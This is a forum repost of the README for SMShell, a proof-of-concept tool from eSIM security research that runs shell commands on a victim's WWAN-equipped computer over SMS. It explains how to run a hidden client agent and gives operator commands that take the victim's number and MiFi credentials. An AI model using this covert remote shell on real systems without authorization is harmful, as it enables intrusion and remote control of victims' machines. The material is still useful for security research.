# SMShell | Send Commands And Receive Responses Over SMS From Mobile Broadband Capable Computers

**URL:** <https://onehack.st/t/smshell-send-commands-and-receive-responses-over-sms-from-mobile-broadband-capable-computers/256821>\
**Category:** Tools & Scripts\
**Tags:** programming, hacking, phone\
**Created:** [September 27, 2023, 9:29am UTC](https://onehack.st/t/smshell-send-commands-and-receive-responses-over-sms-from-mobile-broadband-capable-computers/256821 "2023-09-27T09:29:07Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\
**Post date:** [September 27, 2023, 9:29am UTC](https://onehack.st/t/smshell-send-commands-and-receive-responses-over-sms-from-mobile-broadband-capable-computers/256821/1 "2023-09-27T09:29:07Z")

</div>

[![Animation](https://user-images.githubusercontent.com/134269747/239883798-a37731a0-54ce-458f-8bee-131592407d56.gif)](https://user-images.githubusercontent.com/134269747/239883798-a37731a0-54ce-458f-8bee-131592407d56.gif)

# [SMShell](https://github.com/persistent-security/SMShell#smshell)

PoC for an SMS-based shell. Send commands and receive responses over SMS from mobile broadband capable computers.

This tool came as an insipiration during a research on eSIM security implications led by Markus Vervier, presented at [Offensivecon 2023](https://www.offensivecon.org/speakers/2023/markus-vervier.html)

# [Disclaimer](https://github.com/persistent-security/SMShell#disclaimer)

This is not a complete C2 but rather a simple Proof of Concept for executing commands remotely over SMS.

# [Requirements](https://github.com/persistent-security/SMShell#requirements)

For the shell to work you need to devices capable of sending SMS. The victim’s computer should be equiped with WWAN module with either a physical SIM or eSIM deployed.

On the operator’s end, two tools are provided:

- .NET binary which uses an embedded WWAN module
- Python script which uses an external Huaweu MiFi thourgh its API

Of course, you could in theory use any online SMS provider on the operator’s end via their API.

# [Usage](https://github.com/persistent-security/SMShell#usage)

On the victim simply execute the `client-agent.exe` binary. If the agent is compiled as a `Console Application` you should see some verbose messages. If it’s compiled as a `Windows Application` (best for real engagements), there will be no GUI.

The operator must specify the victim’s phone number as a parameter:

```auto
server-console.exe +306912345678

```

Whereas if you use the python script you must additionally specify the MiFi details:

```auto
python3 server-console.py --mifi-ip 192.168.0.1 --mifi-username admin --mifi-password 12345678 --number +306912345678 -v

```

A demo as presented by Markus at Offensive is shown below. On the left is the operator’s VM with a MiFi attached, whereas on the right window is client agent.

[![Animation](https://user-images.githubusercontent.com/134269747/239883798-a37731a0-54ce-458f-8bee-131592407d56.gif)](https://user-images.githubusercontent.com/134269747/239883798-a37731a0-54ce-458f-8bee-131592407d56.gif)

## GitHub:

> **[GitHub - persistent-security/SMShell: PoC for a SMS-based shell. Send commands and...](https://github.com/persistent-security/SMShell)**
>
> PoC for a SMS-based shell. Send commands and receive responses over SMS from mobile broadband capable computers